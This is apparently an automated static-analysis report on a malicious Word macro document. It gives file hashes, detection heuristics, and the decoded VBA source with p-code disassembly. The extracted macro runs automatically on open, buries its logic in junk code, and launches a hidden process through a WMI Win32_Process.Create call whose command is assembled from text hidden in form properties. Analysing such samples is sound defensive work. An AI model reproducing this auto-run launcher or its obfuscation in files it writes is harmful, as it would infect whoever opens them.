Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d13d65d38d9f1388…

MALICIOUS

Office (OLE)

161.2 KB Created: 2019-04-11 14:13:00 Authoring application: Microsoft Office Word First seen: 2022-06-20
MD5: 9ac542352056e4f8e913da4abebd62d9 SHA-1: 9138214deb0df1b0b79115659a24ea85dd814698 SHA-256: d13d65d38d9f13881d55e5f693cb171c87f238ec5eca46edaf1ac461ce0f2f05
250 Risk Score

Heuristics 8

  • ClamAV: Doc.Malware.00536d-6937584-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6937584-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set ax4DQA4Q = GetObject("winmgmts:Win32_ProcessStartup")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set ax4DQA4Q = GetObject("winmgmts:Win32_ProcessStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38923 bytes
SHA-256: b943cd04b1f72e1613d7b79f91d490745b531809ed77a1fa28237b5b1a1641ab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Z4AxBUc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jx4Zc_U"
Attribute VB_Base = "0{103C49B8-CDD4-4761-8662-1EFAF30F852B}{FE5D26C4-8E51-4B39-AC38-D33FFB7A4504}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wAAGUck"
Attribute VB_Base = "0{53B6AC09-460C-4DD2-9130-82F9FDFEB4A9}{00D347EF-3C70-4BB3-853B-FD2C9D3A214A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "QAkGXwQ"
Sub autoopen()
   If EQ_UQ_C = Nk4wAA Then
  Do While jAUBD_QB And IABDX_D
      While OABA4U And 64732849
         oAAAA4k = Asc(950034646 / Oct(531804896))
      Wend
      For RCBAcAZU = 172177485 To 951924674
         wcADAA = 99237868
      Next
      Set wkAUBQ = wwCQAU
      If hGAoGDA Eqv 642833417 Then
         h_QAAAkC = CDate(ZwUAAAXU)
      End If
      While I1_AUA1 < dGAC4oA
         EZAo1ZBA = (IZAU_kA)
Wend
   Loop
End If
   If OQ1BQAAA = cGGAZZ Then
  Do While ocAAGD And kAUA4A
      While jUZQAk And 887881186
         ADAAkXoG = Asc(597044215 / Oct(411318129))
      Wend
      For sBX4UAUo = 372831526 To 729711231
         bckcG_A = 78672383
      Next
      Set iAZcBwQD = WDQQAX
      If IX11wkA Eqv 118078820 Then
         AAQQCDXA = CDate(I_DcADX)
      End If
      While iGZkAA < UQUA_AA
         NAAUDoAo = (s1QAAZA_)
Wend
   Loop
End If
p_1DGA
   If JkUBC1x = dU1kAZA Then
  Do While M1D1BU_ And UAACAAGU
      While bAUAkDA And 984689681
         wAUAZkX = Asc(334995197 / Oct(897233447))
      Wend
      For FXDAAA = 602540804 To 964581166
         nwA1kBQ = 941713516
      Next
      Set VxwCBAc_ = RZcxAk
      If qAAxZk Eqv 224799144 Then
         SU1AUCZ = CDate(wUAAAA)
      End If
      While EAAoBcAA < RUQDUc
         EAQCQZD = (hAQA1G)
Wend
   Loop
End If
   If v14QxBA = NkAGoC_D Then
  Do While MC_AUwG And WB4QkZ
      While AUkk_QA And 609792284
         IUc_AABU = Asc(421335260 / Oct(437109608))
      Wend
      For dAckDk = 660095315 To 340121662
         mZ_GoA = 758445518
      Next
      Set KX_QwwCU = lAUcABAA
      If jCoDcA Eqv 487373023 Then
         vBAcUAxD = CDate(uUUBUcDA)
      End If
      While qDkU1kA < cBAC4oD
         zAAAxU = (uD_Do4cD)
Wend
   Loop
End If
   If SXGUAD = uAZAB1 Then
  Do While a4DAAA4B And JoAkAAQC
      While hAXUUAwU And 534573086
         aAZoUAo = Asc(669997128 / Oct(709023313))
      Wend
      For qAABUQUA = 514942717 To 603920911
         S_UUkxU = 912727991
      Next
      Set TGAAwAAG = GBwAQk
      If zDAAAck Eqv 427663115 Then
         oA1A_xo = CDate(tBQABA)
      End If
      While bw_4c1C < b_AAGA
         uAx_DwAQ = (uXCA41Z4)
Wend
   Loop
End If
End Sub

Attribute VB_Name = "LU4xGUA"
Function p_1DGA()
On Error Resume Next
   If XAAcAADG = dAAAx_ Then
  Do While V4xQAX4X And RAXCADAw
      While MokoBZ And 148684133
         zAADAAQA = Asc(665758444 / Oct(655490864))
      Wend
      For X4XAUD4 = 723080684 To 878588818
         LAQQZkAA = 31076117
      Next
      Set EAx1DA = jBAoQ1A
      If VQAAoAk Eqv 543730137 Then
         PQAACU = CDate(GAkU_4A)
      End If
      While wCAAB4 < ZDXwxo
         sBGCG1 = (mQXDUDA)
Wend
   Loop
End If
   If uc1_kDQ = IcABABCU Then
  Do While nAwA_BAQ And ikQAXG
      While PcA1XQZk And 771568086
         tUAQDU = Asc(934442094 / Oct(684405984))
      Wend
      For fAA_QDAA = 133477167 To 381864372
         CUwA_AA1 = 354283342
      Next
      Set RXUADAXA = DGXABUU
      If hXADGAQ Eqv 358754312 Then
         Mo_QA_A = CDate(kxAkQwc)
      End If
      While P4xABG < vkAcAAC
         j4AkC4xA = (kAAoUCZ)
Wend
   Loop
End If
If 6494 < 52613 Then
QAUwAoUX = 0
   If lDcAo4AB = EAAQ_ACQ Then
  Do While NUxAAAUG And hAAUDA
      While iQA1Ux And 601814563
         oAAQkBA = Asc(657417166 / Oct(343545277))
      Wend
      For iCAQAG = 42150706 To 278301102
         XA4oCB = 406917528
      Next
      Set zwBZAAAQ = zAAU_AAB
      If BcAAAAX Eqv 702575816 Then
         zBGGAC = CDate(zAUkZ1B)
      End If
      While Rk_AxBZA < fABBAAUc
         EAQ4AoZ = (ZxUkGBBA)
Wend
   Loop
End If
   If LU_BUAc = F1QB1Co Then
  Do While CAXADC And nAAGDZ
      While txw_QDAC And 99918287
         OBA_AQ = Asc(265010950 / Oct(947951781))
      Wend
      For UAQAABA = 579484669 To 988687094
         aAUCAQUG = 664485869
      Next
      Set FGUUxUcA = DD_CUBD
      If SkA_QAA Eqv 524911266 Then
         sAQAGC = CDate(kQk4DXw)
      End If
      While wcCcAoA < sw4cGAA
         PZwAxBxA = (oAAwA1)
Wend
   Loop
End If
   If jBAAAAX = ZAZ1BA Then
  Do While aBAAwG1 And HXAABXX
      While IZUAowkB And 963698399
         GADAAQcQ = Asc(150410020 / Oct(467669992))
      Wend
      For sAGxGAA = 546391631 To 298312583
         HAXGGCAD = 712138811
      Next
      Set LAABC1wU = zAQAww_
      If nG_DwA Eqv 636034399 Then
         sAk_Do = CDate(LDUAAAX)
      End If
      While dAQ_Ao < MAQwBA1
         cA1QAGwo = (GxAQAQA)
Wend
   Loop
End If
End If
   If GAUQkkZ = hD4AAoD Then
  Do While MUxoBZw And uCUoBx
      While MAAABA4 And 601753477
         oAAAQAQB = Asc(856056543 / Oct(561579867))
      Wend
      For vQ1c4DA = 763521550 To 506973854
         j4AB_U = 152308027
      Next
      Set SGAA1D = FAA_wBB
      If sGAGUAX4 Eqv 140221350 Then
         V1_UAcA = CDate(TUZX_A)
      End If
      While sAQZw4Q < iAAw1A
         CB1_AAQB = (IAAwAQQ)
Wend
   Loop
End If
   If WxZBBoA = GUBDkABG Then
  Do While I14ACUAQ And QAA1CAA
      While pDQoQQA And 827564396
         wwBoDDw = Asc(822477167 / Oct(739862602))
      Wend
      For qk1AZUA1 = 127789888 To 66713822
         DDDAAA = 725217702
      Next
      Set JA4UABQX = DQQcwA
      If I4QADD Eqv 982199312 Then
         l_AQxCC = CDate(iAQQwDUB)
      End If
      While PDkDcxB < ncQUw1A
         YABAD_4U = (T_xQ1Qw)
Wend
   Loop
End If
Set ax4DQA4Q = GetObject("winmgmts:Win32_ProcessStartup")
   If BZ1UkA = aDXADGkU Then
  Do While zABcQGQ And hA1C1D
      While EAQDAQCw And 299493672
         IZAw_AC = Asc(983695393 / Oct(347686401))
      Wend
      For jCAA1oXA = 877755536 To 293707833
         CAUAAAAA = 236192816
      Next
      Set BQwGA1 = dAkx4_1
      If BAAXUQ Eqv 387630243 Then
         Z1XA1AQA = CDate(DXUBQA)
      End If
      While wAkUDBB < vDAAAZ
         DXkDDACB = (uAAUAB)
Wend
   Loop
End If
   If TAokDo = tAZAkkQ Then
  Do While RBAUBCC And JAcAXCcX
      While jkAkkcx And 858584858
         WwQAGxQ = Asc(848238001 / Oct(473825645))
      Wend
      For wABUBGBB = 559315453 To 914844078
         RAQB_AAB = 94219187
      Next
      Set QCQAGAUA = fUAAAQA
      If lUZAXC Eqv 125859825 Then
         aAAAwk = CDate(oCoGAQwA)
      End If
      While KUxQAkD < qQBQQU1A
         s_wAGQ = (RQA1D_A)
Wend
   Loop
End If
   If ZGBXGZ = lDCoAA Then
  Do While GAXBUA And YUA_Q1A
      While EAD4UB1 And 821303885
         zAACU1GA = Asc(827360842 / Oct(5242064))
      Wend
      For mBwACQAQ = 440992743 To 654076357
         JxAUAUA = 22099663
      Next
      Set I1AQAA = ioAAAADA
      If U1A1cGA Eqv 398176008 Then
         kADx4GUA = CDate(WAA4AX)
      End If
      While sBADZU < roAAxC
         HAQUBZU_ = (DkDAwQUA)
Wend
   Loop
End If
If 361 < 16061 Then
   If kA4ABAAQ = mAAABxUC Then
  Do While u_AADA And WQAGAZX
      While NDABGZQ And 482412395
         b_coAA = Asc(511096237 / Oct(833477104))
      Wend
      For MQDAADQ = 424972059 To 56295182
         CXZABB = 466713296
      Next
      Set OB1GQcAG = hGcCAUA
      If QckAcC Eqv 479351890 Then
         VUwAA1X = CDate(WCAABA)
      End If
      While WDAAA1Z < wAAAA1UC
         U4AGAo = (SGUkUc_Q)
Wend
   Loop
End If
   If wQxw_BQ = nDAAXDx Then
  Do While n_A1_A And sZAAoD
      While zAoDAA And 383822652
         vBXZU4B = Asc(104012542 / Oct(991043262))
      Wend
      For jGA1XkU = 24903369 To 850725588
         zUAwwACD = 600936341
      Next
      Set jBooA_A = u1_A1DBA
      If SQwABQB Eqv 167214049 Then
         HAw1AAZ = CDate(QAkA_c)
      End If
      While YCABA1AA < aAkw1QA
         DXkwBX4_ = (UADkBk)
Wend
   Loop
End If
ax4DQA4Q. _
ShowWindow = QAUwAoUX + QAUwAoUX + QAUwAoUX + QAUwAoUX
   If WAA_ACA = fXkB_QQ Then
  Do While jBAAGk And iU1_QA_
      While jADUAA And 976596906
         iDDcAAAA = Asc(372651836 / Oct(410457915))
      Wend
      For M4AQDAXc = 80819684 To 265242742
         OkAx_Q = 396120439
      Next
      Set jQwAAD = fQAoXA
      If KQUAXAA Eqv 729087056 Then
         LUAA4xAQ = CDate(jAAUxc)
      End If
      While dXDGQB1w < BQwZCAkA
         wAAAok = (q1QwA4Ak)
Wend
   Loop
End If
   If rCAkADA = WAAXQ_ Then
  Do While iUQUkk And VQxGAw
      While zx4coA And 62509403
         S1AZAUDc = Asc(66351849 / Oct(934767969))
      Wend
      For vUAAAA1 = 43633344 To 934729518
         tAXABZ = 178324996
      Next
      Set vAQB4Q1 = jA1_AD1Q
      If HQ4xQDxB Eqv 961269844 Then
         ZoUB4X = CDate(lQAwDABC)
      End If
      While FAABDUBA < nBUAkA
         toAADAC = (cZAcA4c)
Wend
   Loop
End If
   If h_GQAAD = YACAAZc Then
  Do While DUAcBcA And vBDUAA4G
      While fc4QBA And 350145497
         NUxkZoA = Asc(61056979 / Oct(332921629))
      Wend
      For kDXwAAXA = 731260044 To 624617004
         dcc4_XB = 947088395
      Next
      Set zBAA_BQ = Nxx1AA
      If Ho1AACB Eqv 434084921 Then
         O4oQUGw = CDate(pAcAQ4D)
      End If
      While dGAAABA < iXAB_AAA
         ZAAAoA4 = (bQX_A1)
Wend
   Loop
End If
End If
   If RXDAAQ = nAwkBDQ Then
  Do While nAxkkAC And GcGU1kc
      While IZBoAA And 773581068
         wQxAcA = Asc(701708440 / Oct(128912403))
      Wend
      For GwAAA_G = 788083107 To 849672386
         EAAcUwo = 866043925
      Next
      Set RDAxBAD = AA1ADok
      If WQAAA_BU Eqv 389635477 Then
         BBAAAQB = CDate(LA1A_x)
      End If
      While rBD1okAU < fBAXxAU
         uGA1AD = (U_B_AcA)
Wend
   Loop
End If
   If MDDU1DA = qDxADC Then
  Do While YXQQo_DD And FAUQDoBC
      While MxkXZkUD And 628375502
         FAAAUB = Asc(886966163 / Oct(358779806))
      Wend
      For jUAAGA = 295322284 To 15007278
         HC__AA4x = 763375437
      Next
      Set YA4x1_ = BC4kA4A
      If rDUA_xx Eqv 147172660 Then
         qAwB4kw = CDate(kAUAxAk)
      End If
      While sABAAAX < zco4B4x
         pkccZ_AD = (FUAAx_1)
Wend
   Loop
End If
   If uCCAAB_Z = fAwQoCU Then
  Do While jUUAAw And HDA_GABB
      While hxAXZAD1 And 809619000
         pxA1oABZ = Asc(231129546 / Oct(19336134))
      Wend
      For JAABAAA = 665713639 To 924225462
         Ck_ZAA = 626057718
      Next
      Set IADAQAA = RDAABQoD
      If TACCZA Eqv 9143380 Then
         hG_4UA1 = CDate(qDQDAG4A)
      End If
      While cAABB_A < sBQQcA
         sQD4AX = (UUAZADB)
Wend
   Loop
End If
GetObject("winmgmts:Win32_Process").Create jx4Zc_U.OUGQUA.ControlSource + wAAGUck.FkoADA + jx4Zc_U.OUGQUA.ControlSource + wAAGUck.kBABABAo + jx4Zc_U.OUGQUA.PasswordChar + jx4Zc_U.OUGQUA.ControlTipText + wAAGUck.CGDkCDk + jx4Zc_U.OUGQUA.PasswordChar + jx4Zc_U.OUGQUA.ControlTipText + wAAGUck.TBxXA1o + jx4Zc_U.OUGQUA.ControlTipText + wAAGUck.kQDkxkA + jx4Zc_U.OUGQUA.PasswordChar, RAUBwkD, ax4DQA4Q, jx4Zc_U.OUGQUA
   If KBA1CA = Y1BAAX Then
  Do While VwZDkxUA And HQQZQD
      While hXAAAcB And 692068987
         jA1AocXX = Asc(921500756 / Oct(527357269))
      Wend
      For HAAoG4 = 487441811 To 949229676
         m1QGAGA = 520217125
      Next
      Set U4AkAco = fXQA_A
      If w1CXG1w Eqv 80021481 Then
         KAQQUAA = CDate(zwDGAUA)
      End If
      While LcDA4A < qwAAQA
         iAABQQB = (KXBAwZx)
Wend
   Loop
End If
   If sAAGDADQ = S1ZADGk Then
  Do While zwAAAUo And NXD_Uo
      While ckA_BA And 321870232
         PGwDkA = Asc(393443423 / Oct(865560528))
      Wend
      For kQX1_AA = 290253954 To 457751468
         uAoxkcBk = 403296148
      Next
      Set G_DwAAkx = zAA1DBB
      If boA1UAA Eqv 67373998 Then
         qAxXoG = CDate(NBAA_G)
      End If
      While SAUAkcAo < zAGXkXkA
         vDBAAAAD = (VZx_GAD)
Wend
   Loop
End If
End Function


' Processing file: /opt/analyzer/scan_staging/f8e2881571554e0ca2fdf33c4a484d48.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Z4AxBUc - 1105 bytes
' Macros/VBA/jx4Zc_U - 1158 bytes
' Macros/VBA/wAAGUck - 1157 bytes
' Macros/VBA/QAkGXwQ - 4411 bytes
' Line #0:
' 	FuncDefn (Sub QAkGXwQ())
' Line #1:
' 	Ld autoopen 
' 	Ld EQ_UQ_C 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	Ld Nk4wAA 
' 	Ld jAUBD_QB 
' 	And 
' 	DoWhile 
' Line #3:
' 	Ld IABDX_D 
' 	LitDI4 0xBEB1 0x03DB 
' 	And 
' 	While 
' Line #4:
' 	LitDI4 0x60D6 0x38A0 
' 	LitDI4 0xB2E0 0x1FB2 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St OABA4U 
' Line #5:
' 	Wend 
' Line #6:
' 	StartForVariable 
' 	Ld oAAAA4k 
' 	EndForVariable 
' 	LitDI4 0x384D 0x0A43 
' 	LitDI4 0x37C2 0x38BD 
' 	For 
' Line #7:
' 	LitDI4 0x3FEC 0x05EA 
' 	St RCBAcAZU 
' Line #8:
' 	StartForVariable 
' 	Next 
' Line #9:
' 	SetStmt 
' 	Ld wkAUBQ 
' 	Set wcADAA 
' Line #10:
' 	Ld wwCQAU 
' 	LitDI4 0xDC09 0x2650 
' 	Eqv 
' 	IfBlock 
' Line #11:
' 	Ld h_QAAAkC 
' 	Coerce (Date) 
' 	St hGAoGDA 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld ZwUAAAXU 
' 	Ld I1_AUA1 
' 	Lt 
' 	While 
' Line #14:
' 	Ld EZAo1ZBA 
' 	Paren 
' 	St dGAC4oA 
' Line #15:
' 	Wend 
' Line #16:
' 	Loop 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld IZAU_kA 
' 	Ld OQ1BQAAA 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld cGGAZZ 
' 	Ld ocAAGD 
' 	And 
' 	DoWhile 
' Line #20:
' 	Ld kAUA4A 
' 	LitDI4 0xFDE2 0x34EB 
' 	And 
' 	While 
' Line #21:
' 	LitDI4 0x2BF7 0x2396 
' 	LitDI4 0x3771 0x1884 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St jUZQAk 
' Line #22:
' 	Wend 
' Line #23:
' 	StartForVariable 
' 	Ld ADAAkXoG 
' 	EndForVariable 
' 	LitDI4 0xF526 0x1638 
' 	LitDI4 0x827F 0x2B7E 
' 	For 
' Line #24:
' 	LitDI4 0x71FF 0x04B0 
' 	St sBX4UAUo 
' Line #25:
' 	StartForVariable 
' 	Next 
' Line #26:
' 	SetStmt 
' 	Ld iAZcBwQD 
' 	Set bckcG_A 
' Line #27:
' 	Ld WDQQAX 
' 	LitDI4 0xBD64 0x0709 
' 	Eqv 
' 	IfBlock 
' Line #28:
' 	Ld AAQQCDXA 
' 	Coerce (Date) 
' 	St IX11wkA 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	Ld I_DcADX 
' 	Ld iGZkAA 
' 	Lt 
' 	While 
' Line #31:
' 	Ld NAAUDoAo 
' 	Paren 
' 	St UQUA_AA 
' Line #32:
' 	Wend 
' Line #33:
' 	Loop 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	ArgsCall s1QAAZA_ 0x0000 
' Line #36:
' 	Ld p_1DGA 
' 	Ld JkUBC1x 
' 	Eq 
' 	IfBlock 
' Line #37:
' 	Ld dU1kAZA 
' 	Ld M1D1BU_ 
' 	And 
' 	DoWhile 
' Line #38:
' 	Ld UAACAAGU 
' 	LitDI4 0x2C11 0x3AB1 
' 	And 
' 	While 
' Line #39:
' 	LitDI4 0x9EFD 0x13F7 
' 	LitDI4 0xB227 0x357A 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St bAUAkDA 
' Line #40:
' 	Wend 
' Line #41:
' 	StartForVariable 
' 	Ld wAUAZkX 
' 	EndForVariable 
' 	LitDI4 0x0B04 0x23EA 
' 	LitDI4 0x572E 0x397E 
' 	For 
' Line #42:
' 	LitDI4 0x686C 0x3821 
' 	St FXDAAA 
' Line #43:
' 	StartForVariable 
' 	Next 
' Line #44:
' 	SetStmt 
' 	Ld VxwCBAc_ 
' 	Set nwA1kBQ 
' Line #45:
' 	Ld RZcxAk 
' 	LitDI4 0x29A8 0x0D66 
' 	Eqv 
' 	IfBlock 
' Line #46:
' 	Ld SU1AUCZ 
' 	Coerce (Date) 
' 	St qAAxZk 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	Ld wUAAAA 
' 	Ld EAAoBcAA 
' 	Lt 
' 	While 
' Line #49:
' 	Ld EAQCQZD 
' 	Paren 
' 	St RUQDUc 
' Line #50:
' 	Wend 
' Line #51:
' 	Loop 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	Ld hAQA1G 
' 	Ld v14QxBA 
' 	Eq 
' 	IfBlock 
' Line #54:
' 	Ld NkAGoC_D 
' 	Ld MC_AUwG 
' 	And 
' 	DoWhile 
' Line #55:
' 	Ld WB4QkZ 
' 	LitDI4 0xB11C 0x2458 
' 	And 
' 	While 
' Line #56:
' 	LitDI4 0x10DC 0x191D 
' 	LitDI4 0xC368 0x1A0D 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St AUkk_QA 
' Line #57:
' 	Wend 
' Line #58:
' 	StartForVariable 
' 	Ld IUc_AABU 
' 	EndForVariable 
' 	LitDI4 0x4153 0x2758 
' 	LitDI4 0xD83E 0x1445 
' 	For 
' Line #59:
' 	LitDI4 0xF5CE 0x2D34 
' 	St dAckDk 
' Line #60:
' 	StartForVariable 
' 	Next 
' Line #61:
' 	SetStmt 
' 	Ld KX_QwwCU 
' 	Set mZ_GoA 
' Line #62:
' 	Ld lAUcABAA 
' 	LitDI4 0xB8DF 0x1D0C 
' 	Eqv 
' 	IfBlock 
' Line #63:
' 	Ld vBAcUAxD 
' 	Coerce (Date) 
' 	St jCoDcA 
' Line #64:
' 	EndIfBlock 
' Line #65:
' 	Ld uUUBUcDA 
' 	Ld qDkU1kA 
' 	Lt 
' 	While 
' Line #66:
' 	Ld zAAAxU 
' 	Paren 
' 	St cBAC4oD 
' Line #67:
' 	Wend 
' Line #68:
' 	Loop 
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	Ld uD_Do4cD 
' 	Ld SXGUAD 
' 	Eq 
' 	IfBlock 
' Line #71:
' 	Ld uAZAB1 
' 	Ld a4DAAA4B 
' 	And 
' 	DoWhile 
' Line #72:
' 	Ld JoAkAAQC 
' 	LitDI4 0xF01E 0x1FDC 
' 	And 
' 	While 
' Line #73:
' 	LitDI4 0x5848 0x27EF 
' 	LitDI4 0xD651 0x2A42 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St hAXUUAwU 
' Line #74:
' 	Wend 
' Line #75:
' 	StartForVariable 
' 	Ld aAZoUAo 
' 	EndForVariable 
' 	LitDI4 0x66FD 0x1EB1 
' 	LitDI4 0x1A0F 0x23FF 
' 	For 
' Line #76:
' 	LitDI4 0x1FB7 0x3667 
' 	St qAABUQUA 
' Line #77:
' 	StartForVariable 
' 	Next 
' Line #78:
' 	SetStmt 
' 	Ld TGAAwAAG 
' 	Set S_UUkxU 
' Line #79:
' 	Ld GBwAQk 
' 	LitDI4 0x9F0B 0x197D 
' 	Eqv 
' 	IfBlock 
' Line #80:
' 	Ld oA1A_xo 
' 	Coerce (Date) 
' 	St zDAAAck 
' Line #81:
' 	EndIfBlock 
' Line #82:
' 	Ld tBQABA 
' 	Ld bw_4c1C 
' 	Lt 
' 	While 
' Line #83:
' 	Ld uAx_DwAQ 
' 	Paren 
' 	St b_AAGA 
' Line #84:
' 	Wend 
' Line #85:
' 	Loop 
' Line #86:
' 	EndIfBlock 
' Line #87:
' 	EndSub 
' Macros/VBA/LU4xGUA - 15912 bytes
' Line #0:
' 	FuncDefn (Function s1QAAZA_())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld LU4xGUA 
' 	Ld XAAcAADG 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld dAAAx_ 
' 	Ld V4xQAX4X 
' 	And 
' 	DoWhile 
' Line #4:
' 	Ld RAXCADAw 
' 	LitDI4 0xBD65 0x08DC 
' 	And 
' 	While 
' Line #5:
' 	LitDI4 0xAAEC 0x27AE 
' 	LitDI4 0xFF30 0x2711 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St MokoBZ 
' Line #6:
' 	Wend 
' Line #7:
' 	StartForVariable 
' 	Ld zAADAAQA 
' 	EndForVariable 
' 	LitDI4 0x55EC 0x2B19 
' 	LitDI4 0x3392 0x345E 
' 	For 
' Line #8:
' 	LitDI4 0x2F15 0x01DA 
' 	St X4XAUD4 
' Line #9:
' 	StartForVariable 
' 	Next 
' Line #10:
' 	SetStmt 
' 	Ld EAx1DA 
' 	Set LAQQZkAA 
' Line #11:
' 	Ld jBAoQ1A 
' 	LitDI4 0xA9D9 0x2068 
' 	Eqv 
' 	IfBlock 
' Line #12:
' 	Ld PQAACU 
' 	Coerce (Date) 
' 	St VQAAoAk 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	Ld GAkU_4A 
' 	Ld wCAAB4 
' 	Lt 
' 	While 
' Line #15:
' 	Ld sBGCG1 
' 	Paren 
' 	St ZDXwxo 
' Line #16:
' 	Wend 
' Line #17:
' 	Loop 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld mQXDUDA 
' 	Ld uc1_kDQ 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	Ld IcABABCU 
' 	Ld nAwA_BAQ 
' 	And 
' 	DoWhile 
' Line #21:
' 	Ld ikQAXG 
' 	LitDI4 0x31D6 0x2DFD 
' 	And 
' 	While 
' Line #22:
' 	LitDI4 0x746E 0x37B2 
' 	LitDI4 0x34E0 0x28CB 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St PcA1XQZk 
' Line #23:
' 	Wend 
' Line #24:
' 	StartForVariable 
' 	Ld tUAQDU 
' 	EndForVariable 
' 	LitDI4 0xB32F 0x07F4 
' 	LitDI4 0xC9B4 0x16C2 
' 	For 
' Line #25:
' 	LitDI4 0xEF4E 0x151D 
' 	St fAA_QDAA 
' Line #26:
' 	StartForVariable 
' 	Next 
' Line #27:
' 	SetStmt 
' 	Ld RXUADAXA 
' 	Set CUwA_AA1 
' Line #28:
' 	Ld DGXABUU 
' 	LitDI4 0x2808 0x1562 
' 	Eqv 
' 	IfBlock 
' Line #29:
' 	Ld Mo_QA_A 
' 	Coerce (Date) 
' 	St hXADGAQ 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Ld kxAkQwc 
' 	Ld P4xABG 
' 	Lt 
' 	While 
' Line #32:
' 	Ld j4AkC4xA 
' 	Paren 
' 	St vkAcAAC 
' Line #33:
' 	Wend 
' Line #34:
' 	Loop 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	LitDI2 0x195E 
' 	LitDI4 0xCD85 0x0000 
' 	Lt 
' 	IfBlock 
' Line #37:
' 	LitDI2 0x0000 
' 	St kAAoUCZ 
' Line #38:
' 	Ld QAUwAoUX 
' 	Ld lDcAo4AB 
' 	Eq 
' 	IfBlock 
' Line #39:
' 	Ld EAAQ_ACQ 
' 	Ld NUxAAAUG 
' 	And 
' 	DoWhile 
' Line #40:
' 	Ld hAAUDA 
' 	LitDI4 0xF623 0x23DE 
' 	And 
' 	While 
' Line #41:
' 	LitDI4 0x63CE 0x272F 
' 	LitDI4 0x15BD 0x147A 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	ArgsLd Asc 0x0001 
' 	St iQA1Ux 
' Line #42:
' 	Wend 
' Line #43:
' 	StartForVariable 
' 	Ld oAAQkBA 
' 	EndForVariable 
' 	LitDI4 0x2B32 0x0283 
' 	LitDI4 0x89AE 0x1096 
' 	For 
' Line #44:
' 	LitDI4 0x1198 0x1841 
…

Open this report in the interactive analyzer, or submit your own file for analysis.